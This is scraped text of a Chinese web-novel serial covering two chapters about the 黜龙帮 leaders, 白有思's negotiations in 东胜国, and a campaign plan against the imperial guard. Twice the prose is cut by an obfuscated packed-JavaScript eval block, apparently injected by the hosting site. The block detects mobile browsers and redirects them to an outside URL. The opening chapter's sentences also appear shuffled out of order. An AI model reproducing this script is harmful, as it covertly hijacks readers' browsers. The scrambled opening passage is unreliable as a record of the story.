“确实吓人。”白有思点点头。“中原那里,不说我们黜龙帮废了奴籍,只说大魏奴籍总不过两成,便说明这天下七八成到底还是良民,所以大魏的根本也都还是授田制下的平民百姓;而东胜国这里,奴籍却占了一半……既如此,东胜国只要不想自家生乱,便要尽量让奴籍与平民待遇仿佛。” 郦子期这一次沉默良久,终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不用细说,就一句话。”王振伸手指向窗外城池、港口。“放开了禁制,我方才晓得,这满街人,十之**竟都是奴!那敢问郦大都督,要是待会你要我们做的事情我们不从,是不是也要被发卖去做奴?!” “我没说这事是好是坏,只是这样的话,便会使得东胜国没了平民百姓自己的东西,使得东胜国与中原上下截然不同,那反过来说,在中原做惯了平民的人,自然畏惧于来做东胜国的奴籍乃至于东胜国平民。”白有思稍作解释。 而不知道为什么,原本已经看穿了对方策略的郦子期此时忽然间开始后悔放这个有怨气的黜龙军头领开口扯淡了,因为他隐约意识到,对方接下来的话会有些……奇怪。 王元德想说些什么,但看到全都不吭声的黜龙帮头领全都看向了郦子期后,却又干脆闭嘴。 在座的东夷众人心下一惊,却是终于验证了某种想法。 其余人虽然没有吭声,却都与白有思想的一样,然后一起去看主位上的大都督……毕竟,这位的抵达来者属于情理之中意料之外,大家还是有些好奇的。 “你问天王与我们首席,倒也算是好奇,但眼下呢?你亲自过来看管我们的宗师又算什么,便是好奇,你不也亲口承认要来‘制住’我们总管?”王振几乎冷笑。 “还望大都督体谅。”白有思终于也再度开口,乃是执长剑正色一礼。“我们被困了月余,归心似箭,偏偏东胜国上下却又屡屡阻拦,委实军心波动,人人生疑。” 于是乎,慢慢的,东夷众人也才反应过来,而郦求凡还在避席姿态,也只好无奈笑道:“王大头领何出此言?你们过来本是遭遇风灾,我们以礼相待……” “荒唐!”说话的竟是王元德。 “不。”白有思从容笑道。“你还是误会我们了……我们是黜龙帮的人,哪怕是最后战**,也永不会为奴,这点不用大都督亲自来保证,我们自家决心就是最好保证。” 奴籍多了些又如何? 人是没错的,错的都是天! “全都是他们的命!都是天意!”一念至此,白有思扭头远远眺望街上熙攘人群,想了一想,忍不住重复了一遍,嘴角泛起一丝嘲讽,复又看向了不吭声的郦子期。“大都督!不要怪他胡言乱语,而是这几日见到东胜国中的情形,军心委实有些不安,几乎人人担心一旦被你们控制,最后便是为奴的下场!” “请将我们昔日登州的逃人在奴籍者往登州发还,还有三征时从南边渡海来的徐州败兵俘虏为奴籍者一并释放,与我们一起出海。”白有思凛然道。“这样,我们便愿意从东南面济州出海。” 须发花白的郦子期那边,王元德、郦求凡之外,当然还有不少本地官吏世族子弟作陪……倒没有大都督的随员,也不知道他是怎么来的。 郦子期沉吟片刻,朝着郦求凡继续再一挥手,示意这些人离开后,顶楼这里只剩七人,却还是没有放弃:“白娘子,有些话不是避讳他人,而是说本就是针对你私人的告知……” 王元德依旧昂然:“我乃东胜王族大将,不晓得这东胜国中有什么事需要避我。” 而白有思看着这算半个老下属的部属,然后忽然意识到,这话太符合王振的脾气了,这个伏龙卫军官出身的大头领,是公认匪气最重、义气最重,也就是无畏无惧,什么都混不吝,从来不觉得自己是不对的,不然当日也不会以伏龙卫的身份离职跟随三郎了。 不只是他,在场的东夷人都有些发呆……最主要一个,就是这个“奴”让他们有些懵,因为他们没有把这个平素浸淫在日常中的概念当做一个什么难以接受东西,并跟眼前的人联系到一起。 话到最后,已经抬起头来,一双秋水般的眼睛迎上了郦子期的目光。 郦子期点点头:“上次我知道了司马正的锐利,今天算是晓得了白三娘的锋刃,可能还隔着帷帐隐约摸到了那张三郎的一点厚重,中原真是人才辈出……下雨了。” 众人一起看向归春楼外,等了数息,才隐约察觉到云彩下面开始滴落细雨。 初夏的雨水自东夷开始,渐渐出现了。39314564. ... 第十五章风雨行(15) 四月初六,黜龙军偏师与东夷人达成协议,决意穿越东夷领地南下,接下来自然是一番历程。而在这个过程中,钱唐奉命率先离开了队伍,往东夷西部地区而来,他的任务有两个,一个是监督郦子期履行承诺,将登州逃散到东夷西部地区的部分转化为奴籍的人口转运回去;另一个是代替阎庆反向与帮中取得联系。 因为前一个任务的缘故,直接联系是不大可能的,消息是先传到了登州代总管程知理这里,然后真正负责向西传递消息的是诸葛德威,他是登州七营中留守两营中的一位……此时过来,委实不知道是被程知理程大头领给排挤了,还是他耐不住寂寞。 这一番历程,从出云转到东郡,路程繁复近乎两千里,何况中间还有传递者的更换……故此,等到诸葛德威日夜兼程抵达东郡白马,已经过去了半个月,而随他一并抵达的,还有自东向西渐渐铺陈开来的夏日雨水。 至于此时的白马,已经成为了各路兵马的汇集、分流中心,数不清的各路兵马自河北从此处渡河,准备往各处分散而去。 坦诚说,初夏雨水断断续续,也不是很大,并没有影响到军队的运动,但黜龙军却似乎早早做了应对接下来雨季的准备,许多河北部队都在白马这里稍作停顿,领取苇草,然后在东境本地军士、甚至民众的教导协助下制作蓑衣与斗笠……鞋子倒是没准备,因为六合靴委实妥当。 实际上,诸葛德威来到东郡白马,被带路的巡骑队将窦小娘引入城区,见到第一位大人物时,包括这位大人物在内,周围人恰好就在编蓑衣。 “咱们蓑草不多,一时间也来不及找,只能教你们个窍门……你们记清楚啊,蓑草主要用在肩膀跟胸背上,其余地方都用稻草。” 说话的是赫然是刚刚上任的将陵行台指挥,所谓窦立德窦龙头是也,他一身布衣,光着头露个发髻,此刻正冒着细雨站在白马港城里的一处土台子上,教下面军士编蓑衣的小窍门,而下面河北军士也围了一大圈,都拎着蓑草好奇仿效。 “稻草不能久用,淋几场雨就烂就得换,不过按照单龙头他们的说法,往南走,济阴再往南种稻子的就多了,稻草就不缺了…… “为什么是肩膀和胸背?我问你,铁甲里最简单的样式是什么?是不是铁裲裆?对!你们就按照铁裲裆来编个宽阔点的蓑裲裆罩住衣甲,其余地方填稻草…… “稍待一待,你们先编着,小高你来教……诸葛头领?!来者可是诸葛兄弟?” 且说,诸葛德威看了一会,本想去打招呼问候,但对方忙,他也忙,而且觉得对方举止有些怪异,便只望了一眼,就匆匆勒马往南侧白马城内而去。 结果,他没想着去巴结人家河北最大山头的龙头,人家反过来喊他了。…. “窦大哥!”诸葛德威这般心思活泛的人物倒是晓得怎么称呼,立即停身热情回喊,然后主动下马迎上,引得身后窦小娘无奈驻马。“窦大哥怎么来这边了?这是你行台中的兵马?” “不是,我们将陵行台的主要任务还是守着薛常雄,只分了两营兵过来,前日就过去了。”窦立德脱口而对。“这是邺城行台的兵,主要是韩二郎麾下的新兵,里面有许多都是武阳郡的郡卒改的,我怕他们被人排挤,没人管……不过我过来也不单是为了这个,还是要听一听首席他们最后计划,心里才有底的。” 诸葛德威连连颔首不及,心里只有一个服字,虽说是河北必然要出一个山头,但为什么是人家窦立德不是高士通不是其他人,不就在这份劲头上吗?不过,这位诸葛头领向来也是与其他人不同的,正是因为意识到对方的**野心与拉拢意图,他心中反而觉得,不妨与对方保持距离……因为跟这种人,对方得了势,自己这种不一路的登州系河北义军未必能水涨船高,而对方万一被张首席给瞅见不妥当打压了,却要受牵连。 但也正是决心如此,诸葛德威言语上却显得更亲热起来:“以前就说窦大哥是咱们河北人的擎天柱,如今做了龙头,还能不忘了大家,正该多联系才对。” 窦立德眼睛眯了一下,嘿嘿一笑,便要说话。 孰料,引诸葛德威进港城的窦小娘在旁早不耐起来,此时瞅到机会,赶紧插嘴:“窦龙头,我将人家诸葛头领从港城带进来是这边兵多,是为了遮人耳目,人家是有要紧情况汇报给首席的,你如何半道上阻拦?” 除了陈斌,窦立德对谁都不发脾气,对自己女儿跟老婆尤其矮了半头,只是赶紧颔首:“我本也要去见首席,咱们一起走。” 窦小娘气了个半死,只能扶了下额头抹额,然后打马在前头引路,而窦立德却也寻了匹马,还趁机拉住了诸葛德威的手,并马在后面闲聊起来。 诸葛德威这才知道,这座包裹了白马津的港城敢情是黜龙帮举事时的第一处所在,当日徐大郎、翟二郎那群人就是在这里发兵,先杀了东郡的都尉,然后趁势兵不血刃平了白马城,而且几乎整个纳降了东郡郡府,算是取下了黜龙帮第一座根基。 也就是这区区一座城,出了两位大头领,三位头领,而按照窦立德如数家珍一般的说法,还有两个人如今在帮内渐渐有了名望和功勋,将来怕是也要出息……一个徐大郎的亲卫首领,就是当日在白马举义扛着扁担进来的元从,这个倒好理解,就好像王雄诞、贾闰士之于张行一般,资历加水涨船高,而且据说还入了张首席的眼睛;此外还有一个姓贺的,也算是当日举义的元从,他是纯粹靠着资历和政务上的经验被顶上来的。…. “诸葛兄弟你想想,白帝爷刑文刑碑后,便有个说法,这天下太大了,所以要以文书律法御天下,咱们黜龙帮真的是又走了一遍路,这地盘一大,就真发现治理地方和国家少不了读书人,少不了刀笔吏……偏偏咱们这方面还真欠缺。 “帮内头领就这几处来源,东境这些当年东齐军官的后代,文武双全是不错,却都在领兵;登州义军,河北义军,河间降将,擅长文书的也真不多……正是为这个,所以陈总管才能得大用,李枢那伙子人也总散不了,剩下的多是地方上的地方官降过来的,但用起来还是觉得不如自家人。 “姓贺的这位,就是占了这个好处,他是元从,信得过,一开始哪怕只是个文书,可做了两任县令没有出错,这一次被转到文书部里,大家就都说,稍缓一缓,锻炼一下眼界,但凡下次再有个扩张,估计就要做个太守了。” “应该的,应该的。”诸葛德威只能这般说,却又有些口齿干涩起来。“人家是元从。” “可不是嘛,但咱们河北人读书的也不少,却要在资历上落下人家东境这边一头了。” “谁说不是呢?” 后面说的干涩,而前面得亏周围人多,否则骑马引路的窦小娘恨不能回头翻个白眼……别人不晓得,她如何不晓得,自家亲爹这是勾引人家呢? 勾的人家心急,就靠上来了。 不过,若是用官位、帮内位阶来勾搭此人,是不是说这个人也是个官迷? 小苏是不是也是个官迷?他要是官迷,自己亲爹也是官迷,这日子将来怎么过? 正想着呢,入城后一转弯,来到一处路口,忽然看到侧面街上过来一彪人,皆是高头大马,衣甲振振,为首三人并马而行,也都是出挑的身材魁梧……中间一个身上并未着甲,乃是一身绿色束带戎袍配上一条宽阔的红色抹额,抹额上还镶裹着数条鲸骨,马上挎着一柄钢槊;左边一个穿着轻便皮甲,套着淡黄色罩衣,则是绿色抹额,抹额上也是镶裹着鲸骨,只挂着一柄细腰刀,;右面一个同样没有着甲,却是一身简易白戎袍,马上侧搭着一柄大铁胎弓,也有条抹额镶裹鲸骨,也是白色。 最后,三人肩膀上还都有白色短氅,身后另有四面旗帜依次在细雨中举起铺开,从左往右乃是伍、单、王、刘,几乎铺满了整条大街,端是一副天下英雄姿态。 窦小娘不敢怠慢,立即翻身下马,按照军中阶级法主动避让,然后拱手行礼。 对面三人初时见到最前头的窦小娘,只是一颔首,来到跟前,发现了窦立德与诸葛德威都在,还都先行下马,也都纷纷下马,然后上前攀谈。 单通海、伍惊风、王叔勇三人围住窦立德与诸葛德威稍作寒暄和打探,刘黑榥……这个时候窦小娘才注意到刘黑榥也在……刘黑榥顶着自己的红色抹额,见那边人多,干脆停在这里与窦小娘说话。…. 刘黑榥三征前就是被窦立德资助的清河本地混混,自然认识窦小娘,要说闲话自然有无数话可以说。 实际上,一开始刘黑榥炫耀自己的新兵器和新装束,窦小娘都还能敷衍,但后面说到军事,嫌弃张首席软弱不愿意打大仗,还非要等李定过来,小娘反而焦躁起来,偏偏这里又不是只她爹扯淡,一群龙头、大头领都在扯淡,便只好闭口。 所幸,几人谈性未消,雨水先密集起来,便一起往郡府方向而去。 这时候,窦立德与几人并马走在前面,窦小娘反而落在最后,却又趁机将自己抹额给拿掉,偷偷藏了起来。一开始帮内流行这玩意的时候她也跟着带,但不知为何,看到刚刚那一幕,她反而觉得这玩意看起来挺傻。 雨水越来越大,众人抵达郡府,两位龙头几位大头领头领一起入内,窦小娘却又呆呆愣在雨中……原来,她刚刚才发现,自己那修为素来可笑的父亲衣服居然没有湿透,而且与其余几人一样,肩膀上微微泛光,俨然已经凝丹了。 对此,她本想惊讶的,但刘黑榥这个混混的经历在前,反而又觉得没什么可惊讶的,偏偏又有些不甘心,只好跺跺脚,转向马厩去了。 另一边,四位抹额大将与窦立德、诸葛德威转入郡府的后堂中,此地却正在爆发一场争吵。 或者更确切一点,是一个人在发脾气,而周围大小头领,数不清的文书、参军,包括张行张首席,都只是在听这位放肆呵斥。 “我不管是谁提出的这个法子,是王翼参军,你最好把他调走去做个队将,反正他没什么军务上的前途,要是个头领什么的,你最好查查他是不是司马正还有司马化达的间谍! “在谯郡和彭城郡交界地方立个大营?!是指望着这样就能威慑禁军让他们不敢进入帮内核心地盘,还是指望着这样能方便决战?” “当然是两者兼顾。”单通海眼见着徐世英跟徐师仁不说话,忍不住插嘴来答。“他们要是被吓到,就会沿着司马正的旧路从大营南面过去,走淮西回去,这样最好;要是想强行进入咱们的地盘,咱们的兵力集中,就可以迅速以多打少碰他们一下,吃掉一部分兵马,把剩下的吓走。” 没办法,这个计划就是他跟济阴行台的几个头领商议出来的,然后通过徐师仁上报给了徐世英的。 李定,也就是刚刚发脾气的人,看了看单通海,心中了然,复又看向了一声不吭的张行,冷笑以对:“这个方案,问题不在于它有什么作用,而是它本身便是个致命的败笔!只要把大营摆到禁军的视野里,就变成了一块肉!” “李龙头是说,我们设立大营,把兵力摆出来,会失掉机动性,对方会来断我们的后路,吃掉我们周围的城池,尝试包围我们?”徐世英尝试理解。…. “若是这般,我们如何怕他们?白横秋引十万兵都没压垮我们,他来吃我们,我们反而能打垮他们!”刘黑榥双手张开,声音宏亮。“打一场大仗,杀个血流成河!不是李龙头说的嘛,这样咱们威信大涨,淮南都能取下来。” 李定这次没有生气,他对刘黑榥这种人没有生气的必要,只是看向了张行,而张行则将目光投向了徐世英。 徐世英沉默片刻,然后在张行的注视下缓缓开口:“不管李龙头如何嘲讽,我都说,如果非要打一仗,退无可退的打一仗,立个大营引诱他们来攻其实都是有些可行性的,总是一个方案……但也确实可能惨重,尤其是还要顾虑司马正接应他们合兵**的可能……总之,李龙头如此嫌恶这个计划,必然是有个更好的主意,那何妨让大家都听一听呢?” “不是有个更好的主意,而是说立营这个事情,会将对方最大的几个优势全给逼出来,把我们最大的两个优势给全放弃掉……所以,但凡是个其他主意,都会更好!”李定在张行目光提醒下,环视四周,意识到周围所有人的抵触心态,终于恢复了一点冷静,开始说出了问题关键。“我问你们,东都禁军最大的特点是什么?” “兵员素质甲天下?”窦立德主动开口替徐世英等军务人员解围。“不是说他们是那个**的圣人以极优厚的待遇向全天下招募的骁锐吗?里面的修行者数量也是最多的,我记得当时许多河北好汉都忍不住去了。” “这就要看怎么说了。”李定再度冷笑道。“首先,东都禁军确实在兵员、待遇、装备、修行者数量加质量上面是甲天下的,毋庸置疑,当年我就在兵部,咱们张首席当年还给这些人修过驻地。“但是,四年整的时间,他们被消耗在江都一地整整四年,训练有吗? “军械再怎么维护又如何能比得上东都?有那么多老练工匠? “战马怎么补充? “那些修行者蹉跎着不动,几个人能再提升修为? “军心士气如**护? “而且四年时间,可有人老弱?可有人伤病? “他们果真还是当日集合了天下精华的东都骁锐?” 众人沉默不语。 只有问问题的窦立德硬着头皮来迎:“那他们其实没有想的那么强横?” “当然也不是。”李定依旧摇头。“其实看看来战儿的江都军下场就知道了,虽然曹彻之死让来战儿失了敢战之心,但禁军发兵之迅速果决,军事联络之配合,委实是回到了当日之强军姿态。” “那他们到底是强是弱?”单通海也不耐了。 “不知道。”李定微微摆手。“不确定。” 周围人都觉得对方不好好说话,举止离谱,单通海本人更是气闷的额头抹额都紧绷了起来,但后堂之上,张行、徐世英、马围三人却各自一愣,俨然意识到了关键。…. “李龙头的意思是说,禁军最大的特点,其实就是不确定……不只是兵员素质,还有战术能力……他弱就可以弱,强就可以强。”马围目光炯炯。“而决定这一点的其实是军心和状态……是他们归师的夙愿、补给的充分!是也不是?” “是。”李定微微颔首。“江都一战说明,他们可以回到相当强的状态,但这种状态是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167969|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能一直持续的。” “所以我们应该对应的迟滞他们,骚扰他们,疲惫他们、消耗他们,不让他们有那个最好的状态。”徐世英面不改色接上,表面上接话,实际上却是主动为后堂上的其他头领做解释。“这种情况下,我们最大的优势就是利用我们对地形的熟悉以及补给的通畅,不让他们抓到我们位置和兵力……反过来说,如果建立大营,暴露了位置,反而会激发他们战术能力,会从容组织起来,来攻打我们,我们更是主动放弃了迟滞、消耗的能力以及隐藏兵力对他们的威慑感。” “我明白了。”窦立德也似乎想到了一点。“其实,现在夏日雨水已经开始了,如果能把他们迟滞在淮北而不是到东境,他们肯定士气日益低落……雨水能替我们迟滞他们,也能遮掩住我们行踪,自然是我们的优势,我不信他们留在徐州能跟我们一样在不停编蓑衣,也不可能出发前人人再凑一双六合靴。” “其实不只是蓑衣和鞋子。”马围继续言道。“我们的另一个优势,就是我们所有的备战补充能力……他们靠着军事政变仓促北返,在徐州停留也是中了我们的计策和可能的内乱,对我们的认知还是刚刚跟白横秋打了一仗,死伤惨重……他们甚至不知道黜龙帮是怎么一回事,也肯定不知道李龙头降服冯大头领的事情,所以也不会知道我们此次出动的兵力!李龙头说的不错,隐藏兵力是必要的……既是麻痹,也是必要时的威慑!” “说了这么多,到底该怎么做?”单通海瓮声瓮气来问。 而这个时候,随着单通海开口,一直立在门内的诸葛德威忽然掉头出门……众人目视,各自一愣,却又立即重新看向了李定。 “很简单,荥阳那边留五个营做疑兵,剩余全军南压,却不汇集成一个点,而是**成两条线,一虚一实,虚线在前,大约十五个营,顶到他们行军序列五十里内,可以相机做任何能够迟滞损耗他们的动作;实线在后,大约二十五个营,还是不要太集中,假设他们从徐州直接往西北走,走到彭城郡郡治的时候,我们应该以汴水上游的芒砀山为假设的集结点,在东、西、北五十里内铺陈;如果他们是从谯郡顺着涣水往西北走,那他们进入谯郡境内的时候,我们应该以……”李定等诸葛德威走远了才开口,说到最后却难得卡壳。…. “以龙冈、稽山一带为集结点。”张行脱口而对,忍不住回头去看角落里一直没有吭声的秦二。“二郎,还记得这地方吗?” 秦二不由失笑:“如何能忘?” 张行点点头,继续来言:“若是他们连涣水都不走,那就由着他们进入淮西,我们就不打了……这也是既定的策略……谁还有问题?” 堂上众人面面相觑,都不好说什么。 倒是刘黑榥直接颔首:“这也无妨,只要将我摆在第一线就行!” “可以。”张行爽快答应,然后继续来言。“部队继续南下,武安行台的五个营要从东面渡河,遮掩行踪。李龙头、徐总管和马分管设计进军方案,今天下午必须完成,等到晚上,我与你们三人还有单、窦两位龙头一起署名发布……谁可还有什么要说的?我马上约了人的。” “天王什么时候回来?”李定追问。“对方最多也是宗师,真要是打起来,有没有一位宗师会成胜负关键。” “他不会耽误战事的。”张行笑了一声。“他是数日前便去东都接应谢总管了,发现司马正没有为难谢总管后应该立即南下护送谢总管去淮南,然后转徐州了……” “去侦查?”李定诧异来问。 “不是。”张行干咳了一声,略显尴尬。“那时候你在北面还没回来,所以不知道,他去请降了。” 李定有些懵,然后面露疑惑:“司马化达会信?” “不是天王自家请降,是替我请降。”张行认真以对。“这就可信多了。” “战略上示弱也是个法子,但也会增加作战的可能。”李四郎想了一想,也无话可说。 “事到如今,难道真指望避战侥幸不成?”张行应了一声,便起身招带着秦二往外走去。 其余人也都无话可说。 走到外面,来到走廊尽头的角门,见到诸葛德威,便也招了下手,后者不敢怠慢,立即将转了几手的白有思书信递交。张行接过来边走边看,意识到事情跟自己想的一样,心中百感交集,既佩服白有思的决断,又有些欣慰,却并不说什么,只是将书信收入怀中。 此时外面雨水已经重新缓和,甚至有放晴迹象,三人也不上马,就一起出了府衙,顺着街巷步行。同时诸葛德威主动开口说了些话,从登州局势,到程大郎抵达登州后的行为,今日撞到窦立德经历,全都过了一遍。 而很快,随着铺垫完毕,这位早就观察了几年从而熟悉了张首席脾气的诸葛头领毫不犹豫的主动提出,自己想换一个地方,不领兵也可以。 总之,就是要放弃闲置,寻求进步。 果然,张行对这种寻求进步的人没有半点抵抗力:“那你想做什么?” “不瞒首席,我原本是想留在大行台,哪怕没有职务,给哪位总管分管做副手都行,但是既然晓得这边军情,却有了个新想法。”诸葛德威毫不犹豫说道。“首席你看,任命我做谯郡太守,若是禁军真从涣水走,我去投降如何?”…. 考虑到对方之前主动避开具体军情的举止,张行并没有过度惊讶,但还是驻足,然后当场反问道:“事情不是不行,但这么一来,投降的是不是太多了?” “是这样的首席。”诸葛德威恳切道。“若是他们不从涣水走,我也能做个好的太守,尤其是谯郡那里情势复杂,要的就是我这种能察觉人心平衡好各方诉求的人;其次,若他们从涣水走,大军压境,我单人先去降,一来无关大局,二来他们也不会起疑,三来却可以替帮内监视其他降人,确保他们不脱出掌控。” “这是要冒险的。”张行不置可否,只是认真提醒。“而且,有些事情我也不好给你交底,你也不好擅作主张,须防弄巧成拙。” “首席,属下已经想好了,愿意冒险,而且在下绝不会做画蛇添足之事。”诸葛德威鼓起勇气来对。“只希望首席信得过我,若真派我去,此事就不必告诉帮内其他人了。” “那倒不至于,雄天王跟陈总管还是要说的。”张行喟然一叹,倒没有纠结。“而且你既有心如此,那就去吧!晚上我发令!” 诸葛德威一时振奋,想要告辞,却又犹豫。 “无妨,一起过来吧。”张行会意,立即招手,然后重新往目标处行去。“不是什么要紧的地方,也无关军事。” 诸葛德威愈发大喜,赶紧与秦二一起跟上。 过了片刻,三人来到白马城的一处房舍前,院门敞开,往来颇有人物,张行来到门前,对着已经有些慌张的守门之人拱手:“可是霍总管府上?北地张三、登州秦二,还有河北的诸葛头领,久仰总管忠义,特来拜访。” 诸葛德威在后面,想了半日,都不晓得这帮内哪位总管姓霍?为何不去府衙中商议?以至于大战之前需要专门拜访! PS:感谢母猪催情专家老爷的上盟!感激不尽! 39314380. ... 第十六章风雨行(16) 第476章风雨行(16) 张善相府中大堂上,张行与霍老夫人谈笑风生,两人从之前刘黑榥求援的事情一直说到东齐往事,从眼下局势说到当年霍老夫人那辈人从官家小姐沦落到走私犯的精彩故事。 看得出来,张三是真的对这些故事津津有味,而霍老夫人则对张首席的造访感到振奋。 不过,相对于这二位,其余三人就反应不一了。 秦宝也有些好奇,他是认真在听的,但却没有过度参与交谈;闻讯赶回来的张善相则只觉得自己汗流浃背,尤其是自己舅母动辄还要与首席一起回头问话,要自己对自己当年的幼稚行径进行补充验证;至于诸葛德威,也只觉得自己不该一脚踩进来的,如今白马城里到处是大人物,既跟张首席订了说法,那有这个时间,还不如去寻个单通海、徐世英计较一下呢……只不过,他虽然这般觉得,却不会表露出来,反而是三人中融入最热情的一个。 一番交谈,人也夸了,故事也听了,眼瞅着外面雨停之后夕阳显露出来,张首席便也准备告辞了。 而犹豫了一下,张行在临走前专门说了个事情:“有个想法,还请霍总管参详一二。” “首席尽管说。”说了一下午的话,霍老夫人依旧精神抖擞。 “是这样的。”张行认真来言。“之前就想了,咱们黜龙帮起事过去整整四年了,中间经历了许多战事,许多人立下功勋,其中有些人位置恰好,功勋也足够可以,便是升迁、加授田,但这些人还是少数,许多人立下功勋后我们的赏赐却不足……” “没有听说这类事!”霍老夫人当即打断对方。“上下都说,就数咱们黜龙帮作战赏罚最公正!官兵上下记功都没有等次!” “倒不是说这个。”张行摊开手来讲。“像那些临阵战死的,给了抚恤,授田里多几分永业地之外,虽说是没办法了,但总会觉得哪里不足,该给些名头才对……” 霍老夫人一愣,立即点头。 “还有些人,每战都参与了,积功也是不少的,却因为卡在队将那一层,很难升上去……虽说登堂**的,有人一辈子都难,但当事人不免也会有些心浮气躁,便是有些头领,时间久了也有些不安,不晓得自己是做的好做的坏。”张行继续恳切来言。“这些人,也要安抚。” “确实如此。”回过神来,霍总管当然不会让张首席在自家堂上冷场。 “至于说,有些根本不是军中的,或者不是咱们军中的,就好像那些走了的北面援军……还有没在一线厮杀却立下了奇功殊勋,又或者在后方积累了许多艰辛的……比如说这次您老人家带刘黑榥去荥阳,就是有大功的,还有济阴的军衣坊,几次大的后勤准备都没有出错,几万几万的军衣,做的又好又快,委实出色。”张行继续解释。“除了基本的授田、赏赐,难道不该给个说法?”…. “跟那些阵亡的将士,几千个宫人连夜的辛苦是没法比,但这次能催促单龙头他们出兵,我也挺觉得自己做了些事的。”霍老夫人听到这里,倒也不推辞。“只是不知道首席准备给什么?若真是多给些钱财,我反而不用。” “所以要搞个钱财赏赐外的东西,以名头显耀在外为主。”张行认真来答。“这事我想许久了,但事情确实急,这次也要对付了南面的禁军再说……结果,今天先见到帮内上下都带抹额,便心里有了个念想,来到您府上,又有了个念想……老夫人看这样行不行?譬如打过历山的,就治个专门的历山勋印,就好像之前官府里靖安台的人挂黑绶、白绶一样,可以佩戴在身上;再比如像你府上,可以挂个竖牌,或者横牌,就像那些关陇大族的阀阅一样,在门前记录功勋……可能做得?” “如何做不得?”霍总管当即来答,甚至明显振奋。“人生在世,吃饱喝足了,无外乎名利,谁不想家里个人都有阀阅显露出来?” “那您这里跟丁老夫人那里是必少不了一个牌子的。”张行恳切至极。 “我若拿了,也不摆在他这里显眼,只挂回庄子里去,让周围乡亲们来看,因为这是我这个寡妇自家挣的,跟外甥侄子什么的不挨边。”霍总管昂然来道,却又主动起来。“不过这么来讲,这一次无论如何都不好干坐着了,张首席,但有半分要我们做的,都请务必说来,否则岂不是要坐等着上次的功勋?这也太尴尬。” 张行本想拒绝,或者糊弄过去,而且他已经准备走了,但目光扫过身侧秦宝和尴尬站起身的张善相,却又心中微动,反而继续坐着来讲:“还真有一件事,不知道能不能请老夫人帮忙?” “首席说来。” “这是秦二郎,我积年的兄弟。”张行以手指向秦宝。“他从东都来投我们,老母和妻子却留在那里,虽说那边司马正是个讲究的,东都也有做官的朋友照顾,但母子夫妻分离,终究不是长久……” 秦宝一开始没反应过来,但听到一半还是赶紧起身行礼。 而霍总管也是马上醒悟,从座中跳起:“此事交给我!我一个老妇人,不带兵甲,去了就来,反而妥当。” 听到这里,秦宝更是直接跪地下拜。 霍老夫人立即起身来扶。 张行见到如此情形,反而来笑:“不如多磕一个,认个干娘,也有个住处,只是不晓得你们两位愿不愿意,可有忌讳?” 秦宝毫不犹豫,再度重重叩首,然后抬头:“老夫人一言就要解难,既称义气如海,又称恩重如山,秦二如何不能认作干娘,以作身前孝顺?” 霍总管也挑眉大喜:“我正嫌这些本地的后辈无知,想寻个出挑的,你这人晓得谁是正道,弃了安逸来做大事,便晓得是个英雄,我岂会嫌弃?再说了,认了义子,见到伱娘,也好说话。”…. 秦宝不敢怠慢,再度叩首。 那边张善相跟诸葛德威见状,自然不会破坏气氛……诸葛德威甚至在看了眼面色发红的张善相后心中微微泛酸,可惜他娘死的早,不然也想跟秦二这种首席心腹结个义亲……当然,他也知道,这种事情的关键其实还是张首席的首肯,真要有人知道了这边再去学,反而要落到程大郎之前的下场。 总之,事情进展到眼下,虽说是临时起意,但到底算是皆大欢喜,张行干脆要求张善相出钱请客,自己晚上还要再来……在这之前,他还是得回去发布命令。 而回到府衙,这里已经做好了方案,具体的布置且不提,一线十五个营作为最先发动者却是足够清晰,其首领分别为: 单通海、王叔勇、伍惊风、刘黑榥、李子达、范望、左才相、夏侯宁远、郭敬恪、韩二郎、尚怀恩、曹晨、伍常在、常负、翟宽。 这个名单看起来随意,其实还是有说法的,乃是以一位龙头总揽,然后以一个大头领作为正将,对应两个头领作为郎将为标配,分成了五个战斗组……同时尽量集中了具有机动性的骑兵,而且尽量以河南、江淮人为主,却又不是完全的精锐,反而专门搀了些新兵营和战力平素不足的营,以求做到迷惑敌军的作用。 张行稍一审视,便不再犹豫,乃是即刻签署军令。 而随着军令发出,这十五个营也不再耽误时间,包括单通海这位龙头在内,许多就在白马附近的兵马几乎是连夜而去,剩下的也会在明日接到军令后立即南下。 这个时候,张首席非但没有去送,反而带着李定、窦立德、徐世英等人回头去参加霍老夫人认干儿子的宴会去了。 只能说,这个作风,颇有些将士阵前半死,首席案前犹酒肉的感觉了。 当然,可能是优秀的匹配制度起了作用,这一日,徐州城内也在摆宴,而且是白天大宴,晚上小宴……司马化达在白天公开招待了雄伯南与谢鸣鹤,晚上又专门带着自家弟弟跟赵行密、令狐行、张虔达、虞常南、牛方盛、封常等心腹私下招待了谢鸣鹤。 为什么没让雄伯南晚上来? 当然不是因为司马左仆射怕死……而是据说司马左仆射素来是位风流人物,跟雄伯南那种粗人没话说,只想跟谢鸣鹤这种名门子弟交往。 就这样,区区数人,排案置酒,酒过三巡,举着酒杯的司马化达便朝一侧自家弟弟使了个眼色,后者立即朝对面拱手: “谢公!” 坐在对面的谢鸣鹤一声不吭,只是举杯相对示意。 司马进达见状也低头捧杯一饮而尽,然后便准备来做质询……不过,话到嘴边,他却又改了直接了当的方案,转而问了个有意思的问题:“谢公,若黜龙帮与我们于此时决战,谁胜谁负?”…. “应该是我们胜……惨胜。”谢鸣鹤想了一想,给出答复。 “为何?” 这个回答似乎还是诚恳的,所以司马进达以及其余几人都略显好奇,唯独上手的司马化达则自顾自低头饮酒。 